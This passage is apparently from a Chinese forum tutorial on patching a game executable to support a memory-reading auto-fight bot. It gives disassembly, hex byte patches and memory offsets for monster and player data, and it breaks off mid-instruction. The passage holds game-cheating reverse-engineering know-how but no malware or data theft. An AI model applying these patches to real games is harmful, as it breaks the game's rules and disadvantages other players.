&nbsp;&nbsp;&nbsp;edx&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;//各寄存器出栈，恢复现场<br>004D02EF&nbsp; &nbsp; 59&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;pop&nbsp; &nbsp;&nbsp;&nbsp;ecx<br>004D02F0&nbsp; &nbsp; 5B&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;pop&nbsp; &nbsp;&nbsp;&nbsp;ebx<br>004D02F1&nbsp; &nbsp; 58&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;pop&nbsp; &nbsp;&nbsp;&nbsp;eax<br>004D02F2&nbsp; &nbsp; 50&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;push&nbsp; &nbsp; eax&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;//把原文件的代码补上<br>004D02F3&nbsp; &nbsp; 68 4C774C00&nbsp; &nbsp;&nbsp;&nbsp;push&nbsp; &nbsp; 004C774C&nbsp; &nbsp; //这也是原文件的代码补上<br>004D02F8&nbsp;&nbsp;- E9 8395F3FF&nbsp; &nbsp;&nbsp;&nbsp;jmp&nbsp; &nbsp;&nbsp;&nbsp;00409880&nbsp; &nbsp;&nbsp; &nbsp;//跳回到原文件插入跳转指令的下一行<br></font><br><font size=3>通过以上代码，我们把玩家周围出现的怪，而且是我们需要打的怪名的起始内存地址放到了以内存地址004D3000开始的一段区域内。</font><br><br><br><strong>4</strong>、修改游戏原始文件，下次启动游戏时能运行我们的代码:<br>&nbsp; &nbsp; 用UltraEdit打开原文件，把原文件地址为0000987A起数据：<br>&nbsp; &nbsp; 50684C774C00 改为:E9FB690C0090<br>把下面数据复制到000d027A起的文件里.<br>50 53 51 52 31 D2 81 C7 A4 F6 12 00 83 3F 00 74&nbsp;&nbsp;<br>63 33 C9 8B 04 39 8B 9C 11 60 2A 4D 00 83 C1 04&nbsp;&nbsp;<br>3B C3 75 07 83 F9 0C 7C EA EB 0D 83 C2 0C 81 FA&nbsp;&nbsp;<br>08 01 00 00 7C DB EB 3C 33 C9 8B 81 00 30 4D 00&nbsp;&nbsp;<br>83 C1 04 81 F9 00 01 00 00 7F 12 83 F8 00 75 EA&nbsp;&nbsp;<br>89 B9 FC 2F 4D 00 E8 BB 00 00 00 EB 17 33 C9 33&nbsp;&nbsp;<br>C0 89 81 00 30 4D 00 83 C1 04 81 F9 00 01 00 00&nbsp;&nbsp;<br>7C EF EB C4 5A 59 5B 58 50 68 4C 77 4C 00 E9 83&nbsp;&nbsp;<br>95 F3 FF&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; <font size=3>&nbsp; &nbsp; </font><br><font size=3>上面的这些16进制数据就是我们上面加入的代码，修改好后存盘。<br>至此，游戏运行时，不需要其他工具，游戏本身就会把怪名的起始内存地址固定到了以内存地址004D3000开始的一段区域内。<br><br><br><font size=4><strong>二、怪物消失时，怪名的起始内存地址从004D3000开始的一段区域内清除<br></strong></font><font size=3>&nbsp; &nbsp;&nbsp; &nbsp;上面只是把怪名的起始地址写到以内存地址004D3000开始的一段区域内。当怪物从玩家视眼中消失时，我们必需把怪名的起始内存地址从</font><font size=3>004D3000开始的一段区域内清除掉。<br>&nbsp; &nbsp;&nbsp; &nbsp;<strong>1</strong>、怎么把我们先前写入的怪名起始地址清除掉呢？<br>&nbsp; &nbsp;&nbsp; &nbsp; 先看看游戏本身当怪物消失时从哪里把怪物名称从内存中清除掉。<br>&nbsp; &nbsp;&nbsp; &nbsp; 同样使用Cheat Engine,当怪物消失时会有这么一句：<br>&nbsp; &nbsp;&nbsp; &nbsp; 0040F5A8&nbsp;&nbsp;mov&nbsp; &nbsp;ecx, 30<br>&nbsp; &nbsp;&nbsp; &nbsp;游戏运行到这句时，怪名的内存地址清空为00，寄存器edi正好是怪名的起始内存地址。<br>&nbsp; &nbsp;&nbsp; &nbsp; 用OllyICE打开游戏。跳到以下这段代码可以看到：<br>0040F5A2&nbsp; &nbsp;.&nbsp;&nbsp;8DBD 48270600 lea&nbsp; &nbsp;&nbsp;&nbsp;edi, dword ptr [ebp+62748]&nbsp;&nbsp;//这里开始清空<br>0040F5A8&nbsp; &nbsp;&nbsp; &nbsp;B9 30000000&nbsp; &nbsp;mov&nbsp; &nbsp;&nbsp;&nbsp;ecx, 30&nbsp; &nbsp; <br>0040F5AD&nbsp; &nbsp;.&nbsp;&nbsp;F3:AB&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;rep&nbsp; &nbsp;&nbsp;&nbsp;stos dword ptr es:[edi]<br>因此把原文件改为如下（对照上面）：<br>0040F5A2&nbsp; &nbsp;.&nbsp;&nbsp;8DBD 48270600 lea&nbsp; &nbsp;&nbsp;&nbsp;edi, dword ptr [ebp+62748]<br>0040F5A8&nbsp; &nbsp; - E9 540D0C00&nbsp; &nbsp;jmp&nbsp; &nbsp;&nbsp;&nbsp;004D0301&nbsp;&nbsp;//<strong>修改这里,跳到004d0301</strong><br>0040F5AD&nbsp; &nbsp;.&nbsp;&nbsp;F3:AB&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;rep&nbsp; &nbsp;&nbsp;&nbsp;stos dword ptr es:[edi]<br></font><br><font size=3>从004d0301开始写我们的代码，原文件中004d0301也是一块为00的空闲区域。</font><br><font size=3></font><br><font size=3><strong>004D0301</strong>&nbsp; &nbsp; 50&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;push&nbsp; &nbsp; eax&nbsp;&nbsp;//先把一些用到的寄存器数据入栈，保护现场。<br>004D0302&nbsp; &nbsp; 53&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;push&nbsp; &nbsp; ebx<br>004D0303&nbsp; &nbsp; 51&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;push&nbsp; &nbsp; ecx<br>004D0304&nbsp; &nbsp; 52&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;push&nbsp; &nbsp; edx<br>004D0305&nbsp; &nbsp; 33C9&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;xor&nbsp; &nbsp;&nbsp;&nbsp;ecx, ecx<br>004D0307&nbsp; &nbsp; 8B07&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;mov&nbsp; &nbsp;&nbsp;&nbsp;eax, dword ptr [edi] //把[edi]内数据放入eax中<br>004D0309&nbsp; &nbsp; 83F8 00&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;cmp&nbsp; &nbsp;&nbsp;&nbsp;eax, 0&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;//比较是否为怪名<br>004D030C&nbsp; &nbsp; 74 22&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;je&nbsp; &nbsp;&nbsp; &nbsp;short 004D0330&nbsp; &nbsp;&nbsp; &nbsp; //为零，不是怪名，不清除跳到返回<br>004D030E&nbsp; &nbsp; 8B99 00304D00&nbsp;&nbsp;mov&nbsp;&nbsp;ebx, dword ptr [ecx+4D3000] //把已写入的怪名起始地址放入ebx004D0314&nbsp; &nbsp; 83C1 04&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;add&nbsp; &nbsp;&nbsp;&nbsp;ecx, 4<br>004D0317&nbsp; &nbsp; 81F9 00010000&nbsp; &nbsp;cmp&nbsp; &nbsp;&nbsp;&nbsp;ecx, 100&nbsp; &nbsp;&nbsp; &nbsp; //比较是否全部比较完<br>004D031D&nbsp; &nbsp; 7F 11&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;jg&nbsp; &nbsp;&nbsp; &nbsp;short 004D0330 //没找到，说明以前没把这怪写入，也就不用清除<br>004D031F&nbsp; &nbsp; 3BDF&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;cmp&nbsp; &nbsp;&nbsp;&nbsp;ebx, edi&nbsp; &nbsp;&nbsp; &nbsp;//比较游戏刚消失的怪名地址，是否以前写入过这个地址<br>004D0321&nbsp;&nbsp;^ 75 EB&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;jnz&nbsp; &nbsp;&nbsp;&nbsp;short 004D030E //不是这个再比较下一个<br>004D0323&nbsp; &nbsp; 33D2&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;xor&nbsp; &nbsp;&nbsp;&nbsp;edx, edx&nbsp; &nbsp;//刚消失的怪名地址在以前写入的区域内找到了，开始清除<br>004D0325&nbsp; &nbsp; 8991 FC2F4D00&nbsp; &nbsp;mov&nbsp; &nbsp;&nbsp;&nbsp;dword ptr [ecx+4D2FFC], edx&nbsp;&nbsp;//以前写入的起始怪名地址清零<br>004D032B&nbsp; &nbsp; E8 60000000&nbsp; &nbsp;&nbsp;&nbsp;call&nbsp; &nbsp; 004D0390&nbsp; &nbsp;&nbsp;&nbsp;//清除掉一怪后，重新找最近怪,后面详细讲这个call<br>004D0330&nbsp; &nbsp; 5A&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;pop&nbsp; &nbsp;&nbsp;&nbsp;edx&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;//各寄存器出栈，恢复现场<br>004D0331&nbsp; &nbsp; 59&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;pop&nbsp; &nbsp;&nbsp;&nbsp;ecx<br>004D0332&nbsp; &nbsp; 5B&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;pop&nbsp; &nbsp;&nbsp;&nbsp;ebx<br>004D0333&nbsp; &nbsp; 58&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;pop&nbsp; &nbsp;&nbsp;&nbsp;eax<br>004D0334&nbsp; &nbsp; B9 30000000&nbsp; &nbsp;&nbsp;&nbsp;mov&nbsp; &nbsp;&nbsp;&nbsp;ecx, 30&nbsp; &nbsp;&nbsp; &nbsp; //把原文件的代码补上<br>004D0339&nbsp;&nbsp;- E9 6FF2F3FF&nbsp; &nbsp;&nbsp;&nbsp;jmp&nbsp; &nbsp;&nbsp;&nbsp;0040F5AD&nbsp; &nbsp; //跳回到原文件插入跳转指令的下一行</font><br><font size=3></font><br><font size=3>通过以上代码，我们把玩家周围消失的怪，从内存地址004D3000开始的一段区域内清除掉。</font><br><font size=3></font><br><font size=3>&nbsp; &nbsp; <strong>2</strong>、修改游戏原始文件，下次启动游戏时能运行我们的代码:<br>&nbsp; &nbsp; 用UltraEdit打开原文件，把原文件地址为0000F5A8起数据：<br>&nbsp; &nbsp;&nbsp;&nbsp;B930000000 改为:E9540D0C00<br>&nbsp; &nbsp;&nbsp;&nbsp;把下面数据复制到000d0301起的文件里.<br>50 53 51 52 33 C9 8B 07 83 F8 00 74 22 8B 99 00&nbsp;&nbsp;<br>30 4D 00 83 C1 04 81 F9 00 01 00 00 7F 11 3B DF&nbsp;&nbsp;<br>75 EB 33 D2 89 91 FC 2F 4D 00 E8 60 00 00 00 5A&nbsp;&nbsp;<br>59 5B 58 B9 30 00 00 00 E9 6F F2 F3 FF 90&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;</font><br><font size=3></font><br><font size=3>数据怎么来的，上面已经说了。改后存盘。</font><br><font size=3>至此，把玩家周围消失的怪，从内存地址004D3000开始的一段区域内清除掉了。</font><br><br><font size=4><strong>三、当怪物死亡时，怪名的起始内存地址从004D3000开始的一段区域内清除<br></strong></font><font size=3>&nbsp; &nbsp;&nbsp; &nbsp;当怪物死亡时,游戏并不会立即把怪名内存地址清零，要等怪物尸体消失时才清零。我们必需立即把怪名的起始内存地址从004D3000开始的一</font><font size=3>段区域内清除掉。<br>&nbsp; &nbsp;&nbsp;&nbsp;<strong>1</strong>、同样,我们用Cheat Engine找到怪物血量减少时的汇编代码:<br>&nbsp; &nbsp;&nbsp; &nbsp;00419BBA&nbsp;&nbsp;word ptr [esi+626F4], ax<br>&nbsp; &nbsp;&nbsp; &nbsp;ax中存的就是怪物的血量。<br>用OllyICE打开游戏。跳到以下这段代码可以看到：<br>00419BBA&nbsp; &nbsp;.&nbsp;&nbsp;66:8986 F4260&gt;mov&nbsp; &nbsp;&nbsp;&nbsp;word ptr [esi+626F4], ax //esi+626f4为血量地址<br>00419BC1&nbsp; &nbsp;.&nbsp;&nbsp;66:8B4F 08&nbsp; &nbsp; mov&nbsp; &nbsp;&nbsp;&nbsp;cx, word ptr [edi+8]<br>00419BC5&nbsp; &nbsp;.&nbsp;&nbsp;66:898E C2010&gt;mov&nbsp; &nbsp;&nbsp;&nbsp;word ptr [esi+1C2], cx<br>00419BCC&nbsp; &nbsp;.&nbsp;&nbsp;E8 CFF10900&nbsp; &nbsp;call&nbsp; &nbsp; 004B8DA0<br>因此把原文件改为如下（对照上面）：<br>00419BBA&nbsp; &nbsp;.&nbsp;&nbsp;66:8986 F4260&gt;mov&nbsp; &nbsp;&nbsp;&nbsp;word ptr [esi+626F4], ax<br>00419BC1&nbsp; &nbsp; - E9 CB680B00&nbsp; &nbsp;jmp&nbsp; &nbsp;&nbsp;&nbsp;004D0491&nbsp; &nbsp;//<strong>修改这里,跳到004d0491</strong><br>00419BC6&nbsp; &nbsp;&nbsp; &nbsp;90&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;nop<br>00419BC7&nbsp; &nbsp;&nbsp; &nbsp;90&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;nop<br>00419BC8&nbsp; &nbsp;&nbsp; &nbsp;90&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;nop<br>00419BC9&nbsp; &nbsp;&nbsp; &nbsp;90&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;nop<br>00419BCA&nbsp; &nbsp;&nbsp; &nbsp;90&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;nop<br>00419BCB&nbsp; &nbsp;&nbsp; &nbsp;90&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;nop<br>00419BCC&nbsp; &nbsp;.&nbsp;&nbsp;E8 CFF10900&nbsp; &nbsp;call&nbsp; &nbsp; 004B8DA0<br></font><br><font size=3>从004d0491开始写我们的代码，原文件中004d0491也是一块为00的空闲区域。<br>下面是我们添加进去的代码，原文件中是为00的空闲区域。</font><br><font size=3></font><br><font size=3>004D0491&nbsp; &nbsp; 50&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;push&nbsp; &nbsp; eax&nbsp;&nbsp;//先把一些用到的寄存器数据入栈，保护现场。<br>004D0492&nbsp; &nbsp; 53&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;push&nbsp; &nbsp; ebx<br>004D0493&nbsp; &nbsp; 51&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;push&nbsp; &nbsp; ecx<br>004D0494&nbsp; &nbsp; 52&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;push&nbsp; &nbsp; edx<br>004D0495&nbsp; &nbsp; 56&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;push&nbsp; &nbsp; esi<br>004D0496&nbsp; &nbsp; 33C9&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;xor&nbsp; &nbsp;&nbsp;&nbsp;ecx, ecx<br>004D0498&nbsp; &nbsp; 90&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;nop<br>004D0499&nbsp; &nbsp; 90&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;nop<br>004D049A&nbsp; &nbsp; 66:83F8 00&nbsp; &nbsp;&nbsp; &nbsp;cmp&nbsp; &nbsp;&nbsp;&nbsp;ax, 0&nbsp; &nbsp; //比较血量是否为0<br>004D049E&nbsp; &nbsp; 7F 28&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;jg&nbsp; &nbsp;&nbsp; &nbsp;short 004D04C8&nbsp; &nbsp;//大于0，不用清除，直接到返回<br>004D04A0&nbsp; &nbsp; 81C6 48270600&nbsp; &nbsp;add&nbsp; &nbsp;&nbsp;&nbsp;esi, 62748&nbsp; &nbsp;//esi+62748为怪名的起始内存地址<br>004D04A6&nbsp; &nbsp; 8B99 00304D00&nbsp;&nbsp;mov&nbsp; &nbsp;ebx, dword ptr [ecx+4D3000] //<font size=2>把以前写入的怪名起始地址放入ebx<br></font>004D04AC&nbsp; &nbsp; 83C1 04&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;add&nbsp; &nbsp;&nbsp;&nbsp;ecx, 4<br>004D04AF&nbsp; &nbsp; 81F9 00010000&nbsp; &nbsp;cmp&nbsp; &nbsp;&nbsp;&nbsp;ecx, 100<br>004D04B5&nbsp; &nbsp; 7F 11&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;jg&nbsp; &nbsp;&nbsp; &nbsp;short 004D04C8<br>004D04B7&nbsp; &nbsp; 3BDE&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;cmp&nbsp; &nbsp;&nbsp;&nbsp;ebx, esi&nbsp; &nbsp;//比较游戏刚死亡的怪名地址，是否以前写入过这个地址<br>004D04B9&nbsp;&nbsp;^ 75 EB&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;jnz&nbsp; &nbsp;&nbsp;&nbsp;short 004D04A6&nbsp;&nbsp;//不是这个再比较下一个<br>004D04BB&nbsp; &nbsp; 33D2&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;xor&nbsp; &nbsp;&nbsp;&nbsp;edx, edx&nbsp;&nbsp;//刚死亡的怪名地址在以前写入的区域内找到了，开始清除<br>004D04BD&nbsp; &nbsp; 8991 FC2F4D00&nbsp; &nbsp;mov&nbsp; &nbsp;&nbsp;&nbsp;dword ptr [ecx+4D2FFC], edx //清零<br>004D04C3&nbsp; &nbsp; E8 C8FEFFFF&nbsp; &nbsp;&nbsp;&nbsp;call&nbsp; &nbsp; 004D0390 //清除掉一怪后，重新找最近怪,后面详细讲这个call<br>004D04C8&nbsp; &nbsp; 5E&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;pop&nbsp; &nbsp;&nbsp;&nbsp;esi&nbsp; &nbsp;&nbsp; &nbsp;//各寄存器出栈，恢复现场<br>004D04C9&nbsp; &nbsp; 5A&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;pop&nbsp; &nbsp;&nbsp;&nbsp;edx<br>004D04CA&nbsp; &nbsp; 59&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;pop&nbsp; &nbsp;&nbsp;&nbsp;ecx<br>004D04CB&nbsp; &nbsp; 5B&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;pop&nbsp; &nbsp;&nbsp;&nbsp;ebx<br>004D04CC&nbsp; &nbsp; 58&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;pop&nbsp; &nbsp;&nbsp;&nbsp;eax<br>004D04CD&nbsp; &nbsp; 66:8B4F 08&nbsp; &nbsp;&nbsp; &nbsp;mov&nbsp; &nbsp;&nbsp;&nbsp;cx, word ptr [edi+8]&nbsp; &nbsp; //把原文件的代码补上<br>004D04D1&nbsp; &nbsp; 66:898E C201000&gt;mov&nbsp; &nbsp;&nbsp;&nbsp;word ptr [esi+1C2], cx&nbsp;&nbsp;//这也是原文件的代码补上<br>004D04D8&nbsp;&nbsp;- E9 EF96F4FF&nbsp; &nbsp;&nbsp;&nbsp;jmp&nbsp; &nbsp;&nbsp;&nbsp;00419BCC&nbsp; &nbsp; //跳回到原文件插入跳转指令的下一行</font><br><font size=3></font><br><font size=3>通过以上代码,把玩家周围死亡的怪，立即从内存地址004D3000开始的一段区域内清除掉。</font><br><br><br><strong>&nbsp;2</strong>、修改游戏原始文件，下次启动游戏时能运行我们的代码:<br>&nbsp; &nbsp;&nbsp; &nbsp; 用UltraEdit打开原文件，把原文件地址为00019BC1起数据：<br>&nbsp; &nbsp;&nbsp; &nbsp; 668B4F0866898EC2010改为:E9CB680B00909090909090<br>&nbsp; &nbsp;&nbsp; &nbsp; 把下面数据复制到000d0491起的文件里.<br>50 53 51 52 56 33 C9 90 90 66 83 F8 00 7F 28 81&nbsp;&nbsp;<br>C6 48 27 06 00 8B 99 00 30 4D 00 83 C1 04 81 F9&nbsp;&nbsp;<br>00 01 00 00 7F 11 3B DE 75 EB 33 D2 89 91 FC 2F&nbsp;&nbsp;<br>4D 00 E8 C8 FE FF FF 5E 5A 59 5B 58 66 8B 4F 08&nbsp;&nbsp;<br>66 89 8E C2 01 00 00 E9 EF 96 F4 FF&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;<br><font size=3>同样，数据由上面代码段而来，改好后存盘。</font><br><font size=3>至些，把玩家周围死亡的怪，立即从内存地址004D3000开始的一段区域内清除掉。</font><br><br><br><font size=4><strong>四、把离玩家最近的怪物参数固定在内存中的某处<br></strong>&nbsp; &nbsp;&nbsp; &nbsp; 通过以上三大步骤,我们已经实现了把玩家周围的，而且是需要打的活的怪物名称起始内存地址集中写入到了从004D3000到004D3100这小段区域内,在这小段区域内每组不为零的四个字节就代表了一个怪物名的起始内存地址,没有其他不相关的数据在这一小段。如果用按键精灵，已经可以通过读这一小段内存数据可以实现读内存打怪了。为了减少按键精灵读内存次数，和过多的转换运算，我们直接把最近怪的有关参数固定下来。</font><br><font size=4>&nbsp; &nbsp;&nbsp; &nbsp;这就到了前面多次提到的call&nbsp;&nbsp;004D0390 这句。<br>&nbsp; &nbsp;&nbsp; &nbsp;<strong>1</strong>、先分析游戏，用Cheat Engine容易找到:<br>内存中怪名起始内存地址与其他地址之间的关系:<br>以下为16进制数：<br>怪名起始内存地址－54＝怪血量地址（占两个字节）<br>怪名起始内存地址－62570＝怪X坐标地址（占四个字节）<br>怪名起始内存地址－625C0＝怪y坐标地址（占四个字节）<br>人物参数内存地址（此游戏竟然是固定的）：<br>人名称内存地址＝008AFAF8<br>人血量内存地址＝008AFAA4<br>人气量内存地址＝008AFBD8<br>人X坐标内存地址＝008AFEAC<br>人y坐标内存地址＝008AFEB0<br>&nbsp; &nbsp;&nbsp; &nbsp;<strong>2</strong>、人物坐标，怪物坐标与屏幕坐标的关系<br>游戏中人物在屏幕正中心，离上下左右各8步,超过8步在屏幕外，鼠标不能点击。游戏坐标差不能超过8。<br>窗口模式下鼠标能点到这个怪的极限区域（坐标为窗口坐标）。<br>正上顶点：（393，0）与（408，21）组成的区域。<br>正下顶点：（393，512）与（408，533）组成的区域。<br>正左顶点：（10，256）与（24，276）组成的区域。<br>正右顶点：（778，256）与（792，276）组成的区域。<br>假设人物坐标（Rx,Ry），怪坐标（Gx,Gy）,鼠标点击坐标（X,Y）<br>其中人物坐标，怪坐标为游戏里的坐标，鼠标点击坐标为窗口坐标。<br>通过以上分析则有鼠标点击能点到怪的窗口坐标X，Y为:<br>X=(Gx-(Rx-8))*48+17 （后面加值范围10～24，最好取中间值＋17）<br>y=(Gy-(Ry-8))*32+2&nbsp; &nbsp;（后面加值范围0～21，因可能点到左下角头像选＋2）<br><br><br><font size=3>&nbsp;&nbsp;&nbsp;<strong>3</strong>、有了以上理论就可以写call&nbsp; &nbsp; 004D0390的代码了<br>&nbsp; &nbsp;&nbsp; &nbsp; 同样从004D0390开始写我们的代码，原文件中004D0390也是一块为00的空闲区域。<br>&nbsp; &nbsp;&nbsp; &nbsp; 把最近怪物名的起始内存地址固定在[004D2FE0]中，X坐标固定在[004D2FF0]中，Y坐标固定在[004D2FF4]中,怪血量固定在[004D2FF8]中。<br><br><strong>004D0390</strong></font><font size=3>&nbsp; &nbsp; 50&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;push&nbsp; &nbsp; eax&nbsp; &nbsp; //先把一些用到的寄存器数据入栈，保护现场。<br>004D0391&nbsp; &nbsp; 53&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;push&nbsp; &nbsp; ebx<br>004D0392&nbsp; &nbsp; 51&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;push&nbsp; &nbsp; ecx<br>004D0393&nbsp; &nbsp; 52&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;push&nbsp; &nbsp; edx<br>004D0394&nbsp; &nbsp; 56&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;push&nbsp; &nbsp; esi<br>004D0395&nbsp; &nbsp; 57&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;push&nbsp; &nbsp; edi<br>004D0396&nbsp; &nbsp; 33C0&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;xor&nbsp; &nbsp;&nbsp;&nbsp;eax, eax<br>004D0398&nbsp; &nbsp; A3 E02F4D00&nbsp; &nbsp;&nbsp;&nbsp;mov&nbsp; &nbsp;&nbsp;&nbsp;dword ptr [4D2FE0], eax //初始化内存<br>004D039D&nbsp; &nbsp; A3 F02F4D00&nbsp; &nbsp;&nbsp;&nbsp;mov&nbsp; &nbsp;&nbsp;&nbsp;dword ptr [4D2FF0], eax<br>004D03A2&nbsp; &nbsp; A3 F42F4D00&nbsp; &nbsp;&nbsp;&nbsp;mov&nbsp; &nbsp;&nbsp;&nbsp;dword ptr [4D2FF4], eax<br>004D03A7&nbsp; &nbsp; 05 FFFF0000&nbsp; &nbsp;&nbsp;&nbsp;add&nbsp; &nbsp;&nbsp;&nbsp;eax, 0FFFF<br>004D03AC&nbsp; &nbsp; A3 E42F4D00&nbsp; &nbsp;&nbsp;&nbsp;mov&nbsp; &nbsp;&nbsp;&nbsp;dword ptr [4D2FE4], eax<br>004D03B1&nbsp; &nbsp; 33C9&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;xor&nbsp; &nbsp;&nbsp;&nbsp;ecx, ecx<br>004D03B3&nbsp; &nbsp; 8BB9 00304D00&nbsp; &nbsp;mov&nbsp; &nbsp;&nbsp;&nbsp;edi, dword ptr [ecx+4D3000] //把怪物起始内存地址放入edi<br>004D03B9&nbsp; &nbsp; 83C1 04&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;add&nbsp; &nbsp;&nbsp;&nbsp;ecx, 4<br>004D03BC&nbsp; &nbsp; 81F9 00010000&nbsp; &nbsp;cmp&nbsp; &nbsp;&nbsp;&nbsp;ecx, 100<br>004D03C2&nbsp; &nbsp; 0F8F AA000000&nbsp; &nbsp;jg&nbsp; &nbsp;&nbsp; &nbsp;004D0472&nbsp; &nbsp; //全部比较完后返回<br>004D03C8&nbsp; &nbsp; 83FF 00&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;cmp&nbsp; &nbsp;&nbsp;&nbsp;edi, 0&nbsp; &nbsp;&nbsp; &nbsp;<br>004D03CB&nbsp;&nbsp;^ 74 E6&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;je&nbsp; &nbsp;&nbsp; &nbsp;short 004D03B3 //为零找下一个<br>004D03CD&nbsp; &nbsp; 8B87 90DAF9FF&nbsp; &nbsp;mov&nbsp; &nbsp;&nbsp;&nbsp;eax, dword ptr [edi+FFF9DA90] //怪Gx坐标放入eax<br>004D03D3&nbsp; &nbsp; 8B1D ACFE8A00&nbsp; &nbsp;mov&nbsp; &nbsp;&nbsp;&nbsp;ebx, dword ptr [8AFEAC]&nbsp; 